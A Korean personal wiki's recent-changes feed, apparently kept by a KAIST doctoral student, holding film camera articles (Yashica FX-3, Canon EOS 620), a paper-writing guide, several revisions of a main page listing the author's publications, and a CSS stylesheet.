야시카 FX-3는 매우 유명한, 수동 35mm single lens reflex 카메라이다. 1979년 야시카에 의해서 개발되었다. Vertical meta-bladed 수동 focal plane shutter가 있으며, 최대 1/1000의 셔터속도와 3개의 LED를 이용한 노출계를 지원한다. 카메라는 매우 compact한 디자인의 SLR카메라로서, 대략 450-460g의 카메라 무게를 자랑한다. 또한 Contax카메라 렌즈를 사용할 수 있어서, 칼 자이스의 T시리즈 렌즈를 사용할 수 있다.

FX-3필름 카메라는 저렴한 비용을 위해서 매우 단순한 구조로 만들어졌다. 아이러니 하게도, 이러한 단순한 구성이 가벼운 무게와 튼튼한 내구성으로 이어져서 21세기에도 충분히 사용가능한 필름 카메라로 많은 인기를 누리고 있다. 야시카 FX-3는 원가절감을 위해서 카메라의 그립 부분을 가죽이 아니라, 천으로 만들었다. 이 천 부분이 대부분의 중고 카메라에서 부식되어 있는 경우가 많음으로, 가죽을 덧대는 작업이 필요한 경우가 종종 있다.

== 사용 후기 ==
야시카 FX-3는 데일리 필름 카메라로 사용한 카메라중에서, 정말 큰 만족을 준 카메라이다. 솔찍히 디자인만 무시하면, [[니콘 FM]]이상의 만족감을 주었다. 아주 저렴한 중고 가격으로 인해서 떨어지든, 고장나는 신경쓰이는 일이 없고, 가볍고, 기본으로 딸려있는 야시카 50mm렌즈도 정말 튼튼하고 좋아서 수동 카메라의 감성을 찾는다면 이만한 카메라가 없다는 생각이 든다.

물론 야시카렌즈는 콘탁스 렌즈와 호환되기는 하지만, 우선 매물이 너무 적고, 그렇다고 라이카나 콘탁스의 렌즈를 야시카에 쓰자니 렌즈가격이 필름카메라 가격의 10배가 넘는 배보다 배꼽이 더 큰 상황이 연출된다. 그러나 50mm 단렌즈로 귀여운 SLR 야시카에 담는 풍경은 대략 30만원 전후의 까지의 수동카메라와 비견할 수도 있는 만족감을 주리라 생각한다.

== 갤러리 ==
<gallery caption="야시카 FX-3로 찍은 사진들" mode=slideshow>
사진 2023-1-1.jpg
사진 2023-1-2.jpg
사진 2023-1-3.jpg
</gallery>

== 후속 모델 ==
# [[FX-3 Super]]
# [[FX-7 Super]]
# [[FX-3 Super 2000]]

야시카 FX-3

2026-04-27T03:31:28Z

Ahn9807:

[[index.php?title=분류:필름 카메라]]

{{camera
| name = Canon EOS 620
| image = Canon_EOS_620.jpg
| manufacturer = Canon
| released = 1987
| lens_mount = Canon EF mount
| sensor = N/A (Film Camera)
| film_format = 35mm
| shutter = Focal-plane shutter, electronic
| metering = 6-zone evaluative metering / partial metering
| focus = TTL phase-detection autofocus
| exposure = Program AE, Aperture-priority AE, Shutter-priority AE, Manual, Depth-of-field AE
| viewfinder = Optical, fixed eye-level pentaprism
| battery = 2CR5
| dimensions = 148 × 108 × 68 mm
| weight = 660g
| gallery = Canon EOS 620
}}

== 개요 ==
캐논 EOS 620은 1987년 5월에 출시된 35mm single lens reflex 필름 카메라이다. 캐논의 EOS 시스템 초기에 등장한 모델로, 1987년 3월에 출시된 [[Canon EOS 650]]의 상위 기종에 해당한다. EOS 650이 캐논 최초의 EOS 카메라였다면, EOS 620은 여기에 여러 고급 기능을 추가한 모델이다.

EOS 620은 Canon EF 마운트를 사용한다. EF 마운트는 카메라와 렌즈가 전기 신호로 통신하는 구조이며, 초점 구동과 조리개 제어가 렌즈 내부의 모터를 통해 이루어진다. 따라서 기존 Canon FD 마운트 렌즈는 EOS 바디와 호환되지 않는다.

EOS 620은 EOS 650보다 더 고급 기능을 제공하였다. 대표적으로 LCD 백라이트, 다중 노출, 자동 브라케팅 기능을 지원하며, 셔터 속도는 최대 1/4000초까지 지원한다. 또한 플래시 동조 속도도 1/250초로 향상되었다. 이러한 점에서 EOS 620은 초기 EOS 필름 바디 중에서도 비교적 고성능 모델로 평가할 수 있다.

== 사용 후기 ==
캐논 EOS 620은 초기 EOS 필름 카메라 중에서도 실사용 가치가 높은 모델이다. 특히 EF 마운트를 사용하기 때문에 현대 Canon EF 렌즈들을 사용할 수 있다는 점이 큰 장점이다. 수동 필름 카메라와 달리 자동초점과 자동노출을 지원하기 때문에, 필름 카메라 입문자도 비교적 편하게 사용할 수 있다.

또한 최대 1/4000초 셔터 속도와 1/250초 플래시 동조 속도는 동시대 보급형 필름 SLR보다 확실히 좋은 사양이다. LCD 상태가 좋은 개체라면 실사용 만족도가 높으며, Canon EF 렌즈를 이미 가지고 있는 사용자에게는 매우 가성비 좋은 필름 바디가 될 수 있다.

다만 1980년대 전자식 필름 카메라이기 때문에, 완전 기계식 카메라처럼 장기적인 수리 안정성을 기대하기는 어렵다. LCD 누액, 전자 부품 고장, 배터리 접점 문제 등을 확인하는 것이 중요하다. 그럼에도 정상 작동하는 개체라면 저렴한 가격으로 EOS 시스템의 필름 감성을 즐길 수 있는 좋은 카메라이다.

== 주요 특징 ==
* Canon EF 마운트 사용
* TTL phase-detection autofocus 지원
* 최대 셔터 속도 1/4000초
* 플래시 동조 속도 1/250초
* LCD 백라이트 지원
* 다중 노출 지원
* 자동 브라케팅 지원
* Program AE, 조리개 우선, 셔터 우선, 수동 노출 지원
* 35mm 필름 사용

== 갤러리 ==
<gallery caption="캐논 EOS 620으로 찍은 사진들" mode=slideshow>

</gallery>

== 관련 모델 ==
# [[Canon EOS 650]]
# [[Canon EF 35-70mm f3.5-4.5]]

논문 쓰는 법

2026-04-15T06:57:07Z

Ahn9807:

[[분류:논문 작성법]]
[[분류:아티클]]

논문을 어떻게 하면 잘 쓸 수 있을까? 이 고민은 대학원생이라면 누구나 하는 문제일 것이다. 26년 4월에 논문 작성과 Proposal을 작성할 일이 있어서 열심히 노력해봤지만, 안타깝게도 좋은 글을 쓸 수가 없었다. 교수님께서 다시 작성해주신 글과 비교하니 부족한 부분이 너무나도 많이 보였다. 이처럼 아직도 논문 쓰는 일이 서툴고 많이 힘들다. 그러나 이번에 다시 한 번 연구해 보면서 느낀 점들을 까먹지 않기 위해 다시 정리해 본다.

[이 문서는 계속해서 추가할 예정입니다.]

== 논문 쓰기 ==
논문을 쓰기 위해 가장 좋은 방법은 우선 많이 쓰는 것이다. 논문 작성을 금을 찾는 과정이라고 하면, 우선 돌이라도 많이 캐봐야 한다. 아마 논문을 쓰기 위해 텍스트 편집기를 열면 나오는 하얀 공백에 누구나 당황할 것이다. 우선 섹션을 채우고 그다음 어떤 글로 채워야 할지 정하는 것도 힘들다. 이럴 때는 일단 한글로라도 아무 말이나 써보기 시작한다. 나는 주로 Background 섹션을 한 장 정도 전체 논문을 쓰기 전에 쓰는 것을 좋아한다. Background를 정리하다 보면, 내 문제를 어떻게 framing할지, 내 논문이 가지는 장점과 단점이 보이기 마련이다. 제일 중요한 것은 그냥 아무 말이어도 괜찮으니 많이 적는 것이다. 꼭 논문을 Evaluation 결과가 나와서 모든 것이 완벽할 때 시작할 필요는 없다. 평상시 교수님과 Discussion하면서 나오는 문제들, Design하면서 괜찮았던 부분들, Background 조사를 하다 나온 관련 사실들을 “논문”이라는 페이지에 아무 말이나 넣으면서 정리해 보는 것이다. 결국 꼭 필요한 광맥들은 나중에 걸러지게 되어 있다.

== 끌쓰기의 재주? ==
논문을 쓰다 보면 교수님의 글은 이해하기도 쉽고 매우 중요해 보이는데, 내가 쓴 글은 이해하기도 어려울 뿐더러 억지로 이해하면 아주 specific한 문제를 푼 것 같다는 느낌이 들 때가 많다. 특히 Introduction이나 Abstract, 혹은 과제 Proposal을 보면 이러한 경향이 더욱더 두드러지는 것을 확인할 수 있다. 이 문제를 해결하기 위해서는 내 글이 다음과 같은 문제를 가지고 있지 않은지 확인해 봐야 한다.

# 글이 너무 detail하지 않은가? Introduction이나 어떤 문제의 Proposal은 내 문제를 설명하고 Design에 대한 소개를 하는 부분이다. Specific한 소개는 금물이다.
# 글을 bottom-up으로 작성하지 않았는가? 이 글들은 overall framework 하에서 top-down 방식으로 적는 것이 좋다. 보통 첫 글을 적게 되면 bottom-up으로 작성하는 경우가 많은데, 논문의 글들은 거의 절대적으로 top-down 방식으로 작성된다.
# Vision이 보이는가? 독자가 글을 읽고 내가 풀어야 할 문제와, 그리고 어떻게 풀었는지, 더 나아가 내가 어떤 Vision을 가지고 있는지 확인할 수 있는지 체크해 보자. Vision이라는 것은 내가 Design을 어떻게 풀었는지에서 끝나는 것이 아니다. 내가 “왜” 이런 Design을 만들었는지에 대한 문제도 들어간다.
# 글을 쓰면서 따라야 할 rule들을 지키지 못한 것은 아닌가? 이러한 규칙들을 잘 설명한 책으로 [[:분류:Style: Lessons in Clarity and Grace|Style: Lessons in Clarity and Grace]]가 있다. 예를 들어 - "주체를 앞에 적어라, 같은 문장에 키워드가 두 개 있으면 안 된다, 독자가 친숙한 정보를 먼저 제시해라" - 와 같은 규칙들이 있다.

== 같이 읽으면 좋은 자료 ==

# 아주 쉬운 논문쓰기 [원유집 교수님]: https://oslab.kaist.ac.kr/wp-content/uploads/esos_files/paperwriting.pdf

논문 쓰는 법

2026-04-15T06:56:56Z

Ahn9807: 새 문서: index.php?title=분류:논문 작성법 index.php?title=분류:아티클 논문을 어떻게 하면 잘 쓸 수 있을까? 이 고민은 대학원생이라면 누구나 하는 문제일 것이다. 26년 4월에 논문 작성과 Proposal을 작성할 일이 있어서 열심히 노력해봤지만, 안타깝게도 좋은 글을 쓸 수가 없었다. 교수님께서 다시 작성해주신 글과 비교하니 부족한 부분이 너무나도 많이 보였다. 이처럼 아...

[[index.php?title=분류:논문 작성법]]
[[index.php?title=분류:아티클]]

논문을 어떻게 하면 잘 쓸 수 있을까? 이 고민은 대학원생이라면 누구나 하는 문제일 것이다. 26년 4월에 논문 작성과 Proposal을 작성할 일이 있어서 열심히 노력해봤지만, 안타깝게도 좋은 글을 쓸 수가 없었다. 교수님께서 다시 작성해주신 글과 비교하니 부족한 부분이 너무나도 많이 보였다. 이처럼 아직도 논문 쓰는 일이 서툴고 많이 힘들다. 그러나 이번에 다시 한 번 연구해 보면서 느낀 점들을 까먹지 않기 위해 다시 정리해 본다.

[이 문서는 계속해서 추가할 예정입니다.]

== 논문 쓰기 ==
논문을 쓰기 위해 가장 좋은 방법은 우선 많이 쓰는 것이다. 논문 작성을 금을 찾는 과정이라고 하면, 우선 돌이라도 많이 캐봐야 한다. 아마 논문을 쓰기 위해 텍스트 편집기를 열면 나오는 하얀 공백에 누구나 당황할 것이다. 우선 섹션을 채우고 그다음 어떤 글로 채워야 할지 정하는 것도 힘들다. 이럴 때는 일단 한글로라도 아무 말이나 써보기 시작한다. 나는 주로 Background 섹션을 한 장 정도 전체 논문을 쓰기 전에 쓰는 것을 좋아한다. Background를 정리하다 보면, 내 문제를 어떻게 framing할지, 내 논문이 가지는 장점과 단점이 보이기 마련이다. 제일 중요한 것은 그냥 아무 말이어도 괜찮으니 많이 적는 것이다. 꼭 논문을 Evaluation 결과가 나와서 모든 것이 완벽할 때 시작할 필요는 없다. 평상시 교수님과 Discussion하면서 나오는 문제들, Design하면서 괜찮았던 부분들, Background 조사를 하다 나온 관련 사실들을 “논문”이라는 페이지에 아무 말이나 넣으면서 정리해 보는 것이다. 결국 꼭 필요한 광맥들은 나중에 걸러지게 되어 있다.

== 끌쓰기의 재주? ==
논문을 쓰다 보면 교수님의 글은 이해하기도 쉽고 매우 중요해 보이는데, 내가 쓴 글은 이해하기도 어려울 뿐더러 억지로 이해하면 아주 specific한 문제를 푼 것 같다는 느낌이 들 때가 많다. 특히 Introduction이나 Abstract, 혹은 과제 Proposal을 보면 이러한 경향이 더욱더 두드러지는 것을 확인할 수 있다. 이 문제를 해결하기 위해서는 내 글이 다음과 같은 문제를 가지고 있지 않은지 확인해 봐야 한다.

# 글이 너무 detail하지 않은가? Introduction이나 어떤 문제의 Proposal은 내 문제를 설명하고 Design에 대한 소개를 하는 부분이다. Specific한 소개는 금물이다.
# 글을 bottom-up으로 작성하지 않았는가? 이 글들은 overall framework 하에서 top-down 방식으로 적는 것이 좋다. 보통 첫 글을 적게 되면 bottom-up으로 작성하는 경우가 많은데, 논문의 글들은 거의 절대적으로 top-down 방식으로 작성된다.
# Vision이 보이는가? 독자가 글을 읽고 내가 풀어야 할 문제와, 그리고 어떻게 풀었는지, 더 나아가 내가 어떤 Vision을 가지고 있는지 확인할 수 있는지 체크해 보자. Vision이라는 것은 내가 Design을 어떻게 풀었는지에서 끝나는 것이 아니다. 내가 “왜” 이런 Design을 만들었는지에 대한 문제도 들어간다.
# 글을 쓰면서 따라야 할 rule들을 지키지 못한 것은 아닌가? 이러한 규칙들을 잘 설명한 책으로 [[:분류:Style: Lessons in Clarity and Grace|Style: Lessons in Clarity and Grace]]가 있다. 예를 들어 - "주체를 앞에 적어라, 같은 문장에 키워드가 두 개 있으면 안 된다, 독자가 친숙한 정보를 먼저 제시해라" - 와 같은 규칙들이 있다.

== 같이 읽으면 좋은 자료 ==

# 아주 쉬운 논문쓰기 [원유집 교수님]: https://oslab.kaist.ac.kr/wp-content/uploads/esos_files/paperwriting.pdf

대문

2026-04-14T04:26:13Z

Ahn9807:

<templatestyles src="Template:대문/shared/styles.css" />

{{대문/header}}

<div id="home-content" class="home-grid">

<div class="home-card home-card--col1 home-card--row1">
<div class="home-card__label">Author</div>
<div class="home-link">
안준호 (Ahn, Junho)<br>
KAIST E3-1 CASYS Lab<br>
KAIST, Dajeon, Republic of Korea Mar 2023 - <br>
Ph.D. Student, School of Computing <br>
✉️ junhoahn@kaist.ac.kr <br>
<div class="home-link__button">[https://sites.google.com/view/junhoahn/ Curriculum Vitae]</div>
</div>
</div>

<div class="home-card home-card--col2 home-card--row1">
<div class="home-card_label">Submissions</div>
<tabber>
|-|First author=
# ''[USENIX Security 2024]'' <strong>Junho Ahn</strong>, Jaehyeon Lee, KangHyuk Lee, Wooseok Gwak, Minseong Hwang, Youngjin Kwon, "[[BUDAlloc: Defeating Use-After-Free Bugs by Decoupling Virtual Address Management from Kernel]]" (Acceptance rate: 18.32%, BK21++)
# ''[IEEE S&P 2025]'' <strong>Junho Ahn</strong>, KangHyuk Lee, Chanyoung Park, Hyungon Moon, Youngjin Kwon, "[[SwiftSweeper: Defeating Use-After-Free Bugs Using Memory Sweeper Without Stop-the-World]]" (Acceptance rate: 14.8%, BK21++)
|-|Collaboration=
# ''[European Conference on Computer Systems (EuroSys), 2026]'' Minkyu Jung, Chanshin Kwak, <strong>Junho Ahn</strong>, Sunho Park, Changjun Lee, Jongyul Kim, Jeehoon Kang, Youngjin Kwon, "CofferOS: Hardening OS-level Virtualization with Rust" (BK21++)
# ''[USENIX OSDI 2026]'' Jongyul Kim, Jaehwan Lee, Inhoe Koo, Peizhe Liu, Jiyuan Zhang, <strong>Junho Ahn</strong>, Tianyin Xu, Youngjin Kwon, "Oxbow: A Coordinated Architecture for Multi-component File Systems" (BK21++)
</tabber>
</div>
</div>

</div>
<tabber>
|-|Science=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">전산과학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">논문 작성법</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">수학</categorytree>
</div>
<div style="clear:both"></div>
|-|Hobby=
<div class="home-card">
<categorytree mode="pages" namespaces="Main Category">필름 카메라</categorytree>
</div>
|-|Liberal Arts=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">중국 문화와 역사</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
</tabber>

<div class="home-card">
<div class="home-card__label">최근 바뀜</div>
{{Special:RecentChanges/15,hidecategorization,hideminor}}
</div>
</div>

<!---
|-|Book Review=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
---!>

대문

2026-04-14T04:24:29Z

Ahn9807:

<templatestyles src="Template:대문/shared/styles.css" />

{{대문/header}}

<div id="home-content" class="home-grid">

<div class="home-card home-card--col1 home-card--row1">
<div class="home-card__label">Author</div>
<div class="home-link">
안준호 (Ahn, Junho)<br>
KAIST E3-1 CASYS Lab<br>
KAIST, Dajeon, Republic of Korea Mar 2023 - <br>
Ph.D. Student, School of Computing <br>
✉️ junhoahn@kaist.ac.kr <br>
<div class="home-link__button">[https://sites.google.com/view/junhoahn/ Curriculum Vitae]</div>
</div>
</div>

<div class="home-card home-card--col2 home-card--row1">
<div class="home-card_label">Submissions</div>
<tabber>
|-|First author=
# USENIX Security 2024 <strong>Junho Ahn</strong>, Jaehyeon Lee, KangHyuk Lee, Wooseok Gwak, Minseong Hwang, Youngjin Kwon, "[[BUDAlloc: Defeating Use-After-Free Bugs by Decoupling Virtual Address Management from Kernel]]" (Acceptance rate: 18.32%, BK21++)
# IEEE S&P 2025 <strong>Junho Ahn</strong>, KangHyuk Lee, Chanyoung Park, Hyungon Moon, Youngjin Kwon, "[[SwiftSweeper: Defeating Use-After-Free Bugs Using Memory Sweeper Without Stop-the-World]]" (Acceptance rate: 14.8%, BK21++)
|-|Collaboration=
# European Conference on Computer Systems (EuroSys), 2026 Minkyu Jung, Chanshin Kwak, <strong>Junho Ahn</strong>, Sunho Park, Changjun Lee, Jongyul Kim, Jeehoon Kang, Youngjin Kwon, "CofferOS: Hardening OS-level Virtualization with Rust" (BK21++)
# OSDI 2026 Jongyul Kim, Jaehwan Lee, Inhoe Koo, Peizhe Liu, Jiyuan Zhang, <strong>Junho Ahn</strong>, Tianyin Xu, Youngjin Kwon, "Oxbow: A Coordinated Architecture for Multi-component File Systems"
</tabber>
</div>
</div>

</div>
<tabber>
|-|Science=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">전산과학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">논문 작성법</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">수학</categorytree>
</div>
<div style="clear:both"></div>
|-|Hobby=
<div class="home-card">
<categorytree mode="pages" namespaces="Main Category">필름 카메라</categorytree>
</div>
|-|Liberal Arts=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">중국 문화와 역사</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
</tabber>

<div class="home-card">
<div class="home-card__label">최근 바뀜</div>
{{Special:RecentChanges/15,hidecategorization,hideminor}}
</div>
</div>

<!---
|-|Book Review=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
---!>

대문

2026-04-14T04:23:54Z

Ahn9807:

<templatestyles src="Template:대문/shared/styles.css" />

{{대문/header}}

<div id="home-content" class="home-grid">

<div class="home-card home-card--col1 home-card--row1">
<div class="home-card__label">Author</div>
<div class="home-link">
안준호 (Ahn, Junho)<br>
KAIST E3-1 CASYS Lab<br>
KAIST, Dajeon, Republic of Korea Mar 2023 - <br>
Ph.D. Student, School of Computing <br>
✉️ junhoahn@kaist.ac.kr <br>
<div class="home-link__button">[https://sites.google.com/view/junhoahn/ Curriculum Vitae]</div>
</div>
</div>

<div class="home-card home-card--col2 home-card--row1">
<div class="home-card_label">Submissions</div>
<tabber>
|-|First author=
<div class="home-card__label">Submissions</div>
# USENIX Security 2024 <strong>Junho Ahn</strong>, Jaehyeon Lee, KangHyuk Lee, Wooseok Gwak, Minseong Hwang, Youngjin Kwon, "[[BUDAlloc: Defeating Use-After-Free Bugs by Decoupling Virtual Address Management from Kernel]]" (Acceptance rate: 18.32%, BK21++)
# IEEE S&P 2025 <strong>Junho Ahn</strong>, KangHyuk Lee, Chanyoung Park, Hyungon Moon, Youngjin Kwon, "[[SwiftSweeper: Defeating Use-After-Free Bugs Using Memory Sweeper Without Stop-the-World]]" (Acceptance rate: 14.8%, BK21++)
|-|Collaboration=
<div class="home-card__label">Submissions</div>
# European Conference on Computer Systems (EuroSys), 2026 Minkyu Jung, Chanshin Kwak, <strong>Junho Ahn</strong>, Sunho Park, Changjun Lee, Jongyul Kim, Jeehoon Kang, Youngjin Kwon, "CofferOS: Hardening OS-level Virtualization with Rust" (BK21++)
# OSDI 2026 Jongyul Kim, Jaehwan Lee, Inhoe Koo, Peizhe Liu, Jiyuan Zhang, <strong>Junho Ahn</strong>, Tianyin Xu, Youngjin Kwon, "Oxbow: A Coordinated Architecture for Multi-component File Systems"
</tabber>
</div>
</div>

</div>
<tabber>
|-|Science=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">전산과학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">논문 작성법</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">수학</categorytree>
</div>
<div style="clear:both"></div>
|-|Hobby=
<div class="home-card">
<categorytree mode="pages" namespaces="Main Category">필름 카메라</categorytree>
</div>
|-|Liberal Arts=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">중국 문화와 역사</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
</tabber>

<div class="home-card">
<div class="home-card__label">최근 바뀜</div>
{{Special:RecentChanges/15,hidecategorization,hideminor}}
</div>
</div>

<!---
|-|Book Review=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
---!>

대문

2026-04-14T04:01:36Z

Ahn9807:

<templatestyles src="Template:대문/shared/styles.css" />

{{대문/header}}

<div id="home-content" class="home-grid">



<div id="home-card-onthewiki" class="home-card home-card--col1 home-card--row1">
<div class="home-card__label">Author</div>
<div class="home-link">
안준호 (Ahn, Junho)<br>
KAIST E3-1 CASYS Lab<br>
✉️ junhoahn@kaist.ac.kr
<div class="home-link__button">[https://sites.google.com/view/junhoahn/ Curriculum Vitae]</div>
</div>
</div>

<tabber>
|-|First author=
<div id="home-card-submissions-first" class="home-card home-card--col2 home-card--row1">
<div class="home-card__label">Submissions</div>
# USENIX Security 2024 <strong>Junho Ahn</strong>, Jaehyeon Lee, KangHyuk Lee, Wooseok Gwak, Minseong Hwang, Youngjin Kwon, "[[BUDAlloc: Defeating Use-After-Free Bugs by Decoupling Virtual Address Management from Kernel]]" (Acceptance rate: 18.32%, BK21++)
# IEEE S&P 2025 <strong>Junho Ahn</strong>, KangHyuk Lee, Chanyoung Park, Hyungon Moon, Youngjin Kwon, "[[SwiftSweeper: Defeating Use-After-Free Bugs Using Memory Sweeper Without Stop-the-World]]" (Acceptance rate: 14.8%, BK21++)
</div>
|-|Collaboration=
<div id="home-card-submissions-collab" class="home-card home-card--col3 home-card--row1">
<div class="home-card__label">Submissions</div>
# European Conference on Computer Systems (EuroSys), 2026 Minkyu Jung, Chanshin Kwak, <strong>Junho Ahn</strong>, Sunho Park, Changjun Lee, Jongyul Kim, Jeehoon Kang, Youngjin Kwon, "CofferOS: Hardening OS-level Virtualization with Rust" (BK21++)
# OSDI 2026 Jongyul Kim, Jaehwan Lee, Inhoe Koo, Peizhe Liu, Jiyuan Zhang, <strong>Junho Ahn</strong>, Tianyin Xu, Youngjin Kwon, "Oxbow: A Coordinated Architecture for Multi-component File Systems"
</div>
</tabber>

</div>
<tabber>
|-|Science=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">전산과학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">논문 작성법</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">수학</categorytree>
</div>
<div style="clear:both"></div>
|-|Hobby=
<div class="home-card">
<categorytree mode="pages" namespaces="Main Category">필름 카메라</categorytree>
</div>
|-|Liberal Arts=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">중국 문화와 역사</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
</tabber>

<div class="home-card">
<div class="home-card__label">최근 바뀜</div>
{{Special:RecentChanges/15,hidecategorization,hideminor}}
</div>
</div>

<!---
|-|Book Review=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
---!>

틀:대문/shared/styles.css

2026-04-14T03:56:19Z

Ahn9807:

.home-grid {
display: grid;
grid: auto-flow dense/repeat( auto-fit, minmax( 9.375rem, 1fr ) );
grid-auto-rows: minmax( 3rem, auto );
grid-gap: var( --space-xs );
}

.home-grid--col2 {
grid-template-columns: 1fr 1fr;
}

.home-grid a.external {
background-image: none;
}

.home-badge {
display: flex;
gap: var(--space-xxs);
font-size: var(--font-size-x-small);
padding: var(--space-xxs) var(--space-xs);
background: var(--color-surface-2);
color: var(--color-base);
border-radius: var(--border-radius-base);
font-weight: var(--font-weight-normal);
letter-spacing: 0.025em;
line-height: var(--line-height-xs);
}

.home-card {
position: relative;
padding: var( --space-md );
border: 1px solid var( --border-color-base );
background: var( --color-surface-1 );
border-radius: var( --border-radius-medium );
font-size: var( --font-size-small );
}

.home-card table.timeline {
margin-top: var( --space-xs );
}

.home-card--row1 {
grid-column: span 1;
}

.home-card--col1 {
grid-column: span 1;
}

.home-card--col2 {
grid-column: span 2;
}

.home-card--col3 {
grid-column: span 3;
}

.home-card__badge,
.home-card__label {
color: var( --color-subtle );
font-size: var( --font-size-x-small );
letter-spacing: 0.05em;
}

.home-card__badge {
padding: var( --space-xxs ) var( --space-xs );
border-radius: var( --border-radius-base );
background: var( --color-surface-2 );
}

.home-card__header {
color: var( --color-emphasized );
font-size: 1rem;
font-weight: var( --font-weight-semibold );
line-height: var( --line-height-xs );
}

.home-card__header a {
display: flex;
align-items: center;
justify-content: space-between;
}

.home-card__header a:after {
content: '▶';
font-size: var( --font-size-x-small );
}

.home-card__background {
position: absolute;
inset: 0;
}

.home-card__background:after {
position: absolute;
pointer-events: none;
inset: 0;
display: block;
background: linear-gradient(to right,#000,transparent);
content: "";
transition: transform 250ms ease;
}

.home-card__background picture,
.home-card__background img {
width: 100%;
height: 100%;
}

.home-card__background img {
object-fit: cover;
object-position: center;
}

.home-card__foreground {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
padding: var( --space-md );
display: flex;
flex-direction: column;
justify-content: center;
gap: var( --space-xxs );
color: #fff;
line-height: var( --line-height-xs );
pointer-events: none;
}

.home-card__foreground .home-card__badge {
position: absolute;
top: 0;
right: 0;
border-top-left-radius: 0;
border-bottom-right-radius: 0;
}

.home-card__foreground .home-card__header {
color: #fff;
}

.home-card__foreground .home-card__label {
color: #bababa;
}

.home-card p {
margin-top: var( --space-xs );
font-size: var( --font-size-small );
}

.home-card.home-card--button {
overflow: hidden;
padding: 0;
border: 0;
}

.home-card--button a {
display: flex;
height: 100%;
justify-content: center;
align-items: center;
padding: 0 var( --space-md );
background: transparent;
color: #fff;
font-weight: var( --font-weight-medium );
}

.home-card--button .home-card__background a {
padding: 0;
}

.home-card--button img {
transition: transform 250ms ease;
}

.home-card--button:hover img {
transform: scale( 1.1 );
}

.home-link {
display: grid;
margin-top: var( --space-xs );
font-size: var( --font-size-small );
font-weight: var( --font-weight-medium );
grid-gap: var( --space-xs );
text-align: center;
}

.home-link__button {
display: flex;
}

.home-link__button a {
flex-grow: 1;
padding: var( --space-xs );
border: 1px solid var( --border-color-base );
background: var( --color-surface-2 );
border-radius: var( --border-radius-medium );
color: var( --color-emphasized ) !important;
line-height: var( --line-height-xs );
text-decoration: none !important;
}

.home-link__button a:hover {
background: var( --color-surface-2--hover );
}

.home-link__button a:active {
background: var( --color-surface-2--active );
}

#home-content {
margin-top: var( --space-lg );
}

.home-card .template-statsbar {
margin: 0;
}

#home-card-discord {
background: #5865f2;
}

#home-card-patreon {
background: #ff424d;
}

#home-card-kofi {
background: #ff5e5b;
}

#home-card-reddit {
background: #ff4500;
}

.home-footer {
font-size: var( --font-size-small );
font-family: var( --font-family-monospace );
text-align: center;
}

대문

2026-04-14T03:41:27Z

Ahn9807:

<templatestyles src="Template:대문/shared/styles.css" />

{{대문/header}}

<div id="home-content" class="home-grid">
<div id="home-card-onthewiki" class="home-card home-card--col1 home-card--row1">
<div class="home-card__label">Nori wiki</div>
<div class="home-link">
<div class="home-link__button">[[Help:About the wiki|About the wiki]]</div>
<div class="home-link__button">[[Help:Style guide|Style guide]]</div>
<div class="home-link__button">[[Help:How to contribute|How to contribute]]</div>
</div>
</div>

<div id="home-card-onthewiki" class="home-card home-card--col2 home-card--row1">
